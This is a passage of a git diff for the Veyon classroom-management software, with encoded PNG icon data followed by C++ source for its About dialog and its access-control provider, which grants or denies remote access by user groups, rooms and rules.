z_dB?`Zhm{TNSC?H$lLm;)f)JI_V&@yC!PXkuK_r8=*5j7ezIf7CgHjc2an`=Zl;TO zZgxoc76a>2n3g~Tx{WV&Y|+)GVvrz$bW&iZI~n``Db{CUaIi<5KR;!TjBM#Rb?WE~ zKn1`6ux;y?$)ra%o968J9KSxD@Q7LemU2%^(I?g$N=|XUah4t|LFSf|Ls1clDMnH{Ama0$5R` z?@gyY1(@e2i&T|QBsG@r&FP>8<*NU+S<3tU1T7zWLMJb(VAA%lBDZR$BYyp}^Bg7Oi ze!75Z8}#=3NCi!ykx?841?+qDVbsC|d+xfEuYUG!zPIlMlAT@Dn~Hi1Ds@Gru4o3D zrSS#q4xhkCP_H-fJP)O=9DmQyT05pG&>EE1NU52*SYmOmLA9wVlq3s9MWvyMlt#;t zv&Wx9YfThI)TmMCGzr77eR=8CJ1AjEspf07)(~hs zS76zKn?JD$KjqMDDH4vrwFQnXXjYbZbniXPTsXtRbe>~>Ji+cSe2u|%{dk@cZ$SuF zC@>6-5SsVyxt>N#VO$)?G)*d%8d|H>N@yEW>Q@_$rq&ufM`IcWQi5ZF=NfpffuAs_ z6(;!BXK&~HpN_MA*X@L@78`EZ&bvSGVfqGoNhSozL_F6|#NK0 z%*@4uZGf7wd-v`@DLr@Q%tb8AVmK$UiEwSfZ2mOge&{aHn!Vrr0r!3Wi;Rqn;Iwnt z(3*rPa1BUU;!5JJ=8bC$97|At8@cU+cXP)*_j3CO@1(c88{2?vI>m?YxtE?beYgT#0}KrUfp-2{ zxI(F^UV53d1BM~U=Ok+U7gjZU!U;N^U`GJA%-dk?DQM^1p&Dlkho=rn! zQYIDw9ex7G0LK7ZfGOg>P-&2eYf5t?&{Ug>%hQXDKXZ`b!5k|qCGzP5H{=HC` zssMimCXH2qMx%c3?CcVkF3quNWPqV$6Wi6 zmH^9wpjzhqv%h0_u#0B1MLs{P=jJZ$Yl}C4>1!I2C!hTF)UI9caf-#pzx4Fv#JaWJ zlxHU?t(3_0cHEOxlg?ZQ+lW1` zl>*W!i=p9;xH$o)UY+6TU;Y+VEz{SNq1g-=8@r&I&F0EukA3Hhao({4jICUtoG>356!%I%KmQ_(_lX%S$XTl_@MP(~n4^3lRVQA|#bKX%~2|NN}&c>w$os9!Di zMo%*rc*mYS4}EOs&fE4XMbh&enay^Zo@e8_4whw7ELJI%suYVAxx8G`Q6$Cka^cAS z{XhQiAgHgt0}8;YHpDgKAHEHN^}yDxTXzh6=tFxR@cqp7AktcETPbBkkqV`Zn$2c& z@xq0(|99xnua30C4e=Y`EHL%=7JoAU5O39%Hq7g7+iOPzOb}>V3Bsq{bt5r03P<;=TmPG7XSbN07*qoM6N<$g5*{J2><{9 literal 0 HcmV?d00001 diff --git a/core/resources/watch6.png b/core/resources/watch6.png new file mode 100644 index 0000000000000000000000000000000000000000..f16493053e30db409ae29d90569760d8f043982c GIT binary patch literal 2623 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 literal 0 HcmV?d00001 diff --git a/core/src/AboutDialog.cpp b/core/src/AboutDialog.cpp new file mode 100644 index 0000000..016a9b0 --- /dev/null +++ b/core/src/AboutDialog.cpp @@ -0,0 +1,67 @@ +/* + * AboutDialog.cpp - implementation of AboutDialog + * + * Copyright (c) 2011-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AboutDialog.h" +#include "VeyonCore.h" + +#include "ui_AboutDialog.h" + + +AboutDialog::AboutDialog( QWidget *parent ) : + QDialog( parent ), + ui( new Ui::AboutDialog ) +{ + ui->setupUi( this ); + + setWindowTitle( tr( "About %1 %2" ).arg( VeyonCore::applicationName(), VeyonCore::version() ) ); + + ui->versionLabel->setText( VeyonCore::version() ); + + QFile authors( QStringLiteral( ":/CONTRIBUTORS" ) ); + authors.open( QFile::ReadOnly ); // Flawfinder: ignore + ui->authors->setPlainText( authors.readAll() ); + + QFile license( QStringLiteral( ":/COPYING" ) ); + license.open( QFile::ReadOnly ); // Flawfinder: ignore + ui->license->setPlainText( license.readAll() ); + + VeyonCore::enforceBranding( this ); +} + + + +AboutDialog::~AboutDialog() +{ + delete ui; +} + + + +void AboutDialog::openDonationWebsite() +{ + QDesktopServices::openUrl( QUrl( QStringLiteral( "https://www.paypal.com/cgi-bin/webscr?item_name=Donation+to+Veyon+-+OpenSource+classroom+management&cmd=_donations&business=donate%40veyon.io" ) ) ); +} diff --git a/core/src/AccessControlProvider.cpp b/core/src/AccessControlProvider.cpp new file mode 100644 index 0000000..48a5837 --- /dev/null +++ b/core/src/AccessControlProvider.cpp @@ -0,0 +1,431 @@ +/* + * AccessControlProvider.cpp - implementation of the AccessControlProvider class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "UserGroupsBackendManager.h" +#include "AccessControlProvider.h" +#include "NetworkObjectDirectory.h" +#include "NetworkObjectDirectoryManager.h" +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "PlatformPluginInterface.h" +#include "PlatformUserFunctions.h" + + +AccessControlProvider::AccessControlProvider() : + m_accessControlRules(), + m_userGroupsBackend( VeyonCore::userGroupsBackendManager().accessControlBackend() ), + m_networkObjectDirectory( VeyonCore::networkObjectDirectoryManager().configuredDirectory() ), + m_queryDomainGroups( VeyonCore::config().domainGroupsForAccessControlEnabled() ) +{ + const QJsonArray accessControlRules = VeyonCore::config().accessControlRules(); + + m_accessControlRules.reserve( accessControlRules.size() ); + + for( const auto& accessControlRule : accessControlRules ) + { + m_accessControlRules.append( accessControlRule ); + } +} + + + +QStringList AccessControlProvider::userGroups() const +{ + auto userGroupList = m_userGroupsBackend->userGroups( m_queryDomainGroups ); + + std::sort( userGroupList.begin(), userGroupList.end() ); + + return userGroupList; +} + + + +QStringList AccessControlProvider::rooms() const +{ + auto roomList = objectNames( m_networkObjectDirectory->queryObjects( NetworkObject::Group ) ); + + std::sort( roomList.begin(), roomList.end() ); + + return roomList; +} + + + +QStringList AccessControlProvider::roomsOfComputer( const QString& computer ) const +{ + const auto computers = m_networkObjectDirectory->queryObjects( NetworkObject::Host, computer ); + if( computers.isEmpty() ) + { + return {}; + } + + QStringList roomList; + roomList.reserve( computers.size() ); + + for( const auto& computer : computers ) + { + roomList.append( m_networkObjectDirectory->queryParent( computer ).name() ); + } + + return roomList; +} + + + +AccessControlProvider::AccessResult AccessControlProvider::checkAccess( const QString& accessingUser, + const QString& accessingComputer, + const QStringList& connectedUsers ) +{ + if( VeyonCore::config().isAccessRestrictedToUserGroups() ) + { + if( processAuthorizedGroups( accessingUser ) ) + { + return AccessAllow; + } + } + else if( VeyonCore::config().isAccessControlRulesProcessingEnabled() ) + { + auto action = processAccessControlRules( accessingUser, + accessingComputer, + VeyonCore::platform().userFunctions().currentUser(), + QHostInfo::localHostName(), + connectedUsers ); + switch( action ) + { + case AccessControlRule::ActionAllow: + return AccessAllow; + case AccessControlRule::ActionAskForPermission: + return AccessToBeConfirmed; + default: break; + } + } + else + { + qDebug( "AccessControlProvider::checkAccess(): " + "no access control method configured, allowing access." ); + + // no access control method configured, therefore grant access + return AccessAllow; + } + + qDebug( "AccessControlProvider::checkAccess(): " + "configured access control method did not succeed, denying access." ); + + // configured access control method did not succeed, therefore deny access + return AccessDeny; +} + + + +bool AccessControlProvider::processAuthorizedGroups( const QString& accessingUser ) +{ + qDebug() << "AccessControlProvider::processAuthorizedGroups(): processing for user" << accessingUser; + + return intersects( m_userGroupsBackend->groupsOfUser( accessingUser, m_queryDomainGroups ).toSet(), + VeyonCore::config().authorizedUserGroups().toSet() ); +} + + + +AccessControlRule::Action AccessControlProvider::processAccessControlRules( const QString& accessingUser, + const QString& accessingComputer, + const QString& localUser, + const QString& localComputer, + const QStringList& connectedUsers ) +{ + qDebug() << "AccessControlProvider::processAccessControlRules(): processing rules for" + << accessingUser << accessingComputer << localUser << localComputer << connectedUsers; + + for( const auto& rule : qAsConst( m_accessControlRules ) ) + { + // rule disabled? + if( rule.action() == AccessControlRule::ActionNone ) + { + // then continue with next rule + continue; + } + + if( rule.areConditionsIgnored() || + matchConditions( rule, accessingUser, accessingComputer, localUser, localComputer, connectedUsers ) ) + { + qDebug() << "AccessControlProvider::processAccessControlRules(): rule" + << rule.name() << "matched with action" << rule.action(); + return rule.action(); + } + } + + qDebug() << "AccessControlProvider::processAccessControlRules(): no matching rule, denying access"; + + return AccessControlRule::ActionDeny; +} + + +/*! + * \brief Returns whether any incoming access requests would be denied due to a deny rule matching the local state (e.g. teacher logged on) + */ +bool AccessControlProvider::isAccessToLocalComputerDenied() const +{ + if( VeyonCore::config().isAccessControlRulesProcessingEnabled() == false ) + { + return false; + } + + for( const auto& rule : qAsConst( m_accessControlRules ) ) + { + if( rule.action() == AccessControlRule::ActionDeny && + matchConditions( rule, QString(), QString(), + VeyonCore::platform().userFunctions().currentUser(), + QHostInfo::localHostName(), + QStringList() ) ) + { + return true; + } + } + + return false; +} + + + +bool AccessControlProvider::isMemberOfUserGroup( const QString &user, + const QString &groupName ) const +{ + QRegExp groupNameRX( groupName ); + + if( groupNameRX.isValid() ) + { + return m_userGroupsBackend->groupsOfUser( user, m_queryDomainGroups ).indexOf( QRegExp( groupName ) ) >= 0; + } + + return m_userGroupsBackend->groupsOfUser( user, m_queryDomainGroups ).contains( groupName ); +} + + + +bool AccessControlProvider::isLocatedInRoom( const QString &computer, const QString &roomName ) const +{ + + return roomsOfComputer( computer ).contains( roomName ); +} + + + +bool AccessControlProvider::hasGroupsInCommon( const QString &userOne, const QString &userTwo ) const +{ + const auto userOneGroups = m_userGroupsBackend->groupsOfUser( userOne, m_queryDomainGroups ); + const auto userTwoGroups = m_userGroupsBackend->groupsOfUser( userTwo, m_queryDomainGroups ); + + return intersects( userOneGroups.toSet(), userTwoGroups.toSet() ); +} + + + +bool AccessControlProvider::isLocatedInSameRoom( const QString &computerOne, const QString &computerTwo ) const +{ + const auto computerOneRooms = roomsOfComputer( computerOne ); + const auto computerTwoRooms = roomsOfComputer( computerTwo ); + + return intersects( computerOneRooms.toSet(), computerTwoRooms.toSet() ); +} + + + +bool AccessControlProvider::isLocalHost( const QString &accessingComputer ) const +{ + return QHostAddress( accessingComputer ).isLoopback(); +} + + + +bool AccessControlProvider::isLocalUser( const QString &accessingUser, const QString &localUser ) const +{ + return accessingUser == localUser; +} + + + +bool AccessControlProvider::isNoUserLoggedOn() const +{ + return VeyonCore::platform().userFunctions().loggedOnUsers().isEmpty(); +} + + + +QString AccessControlProvider::lookupSubject( AccessControlRule::Subject subject, + const QString &accessingUser, const QString &accessingComputer, + const QString &localUser, const QString &localComputer ) const +{ + switch( subject ) + { + case 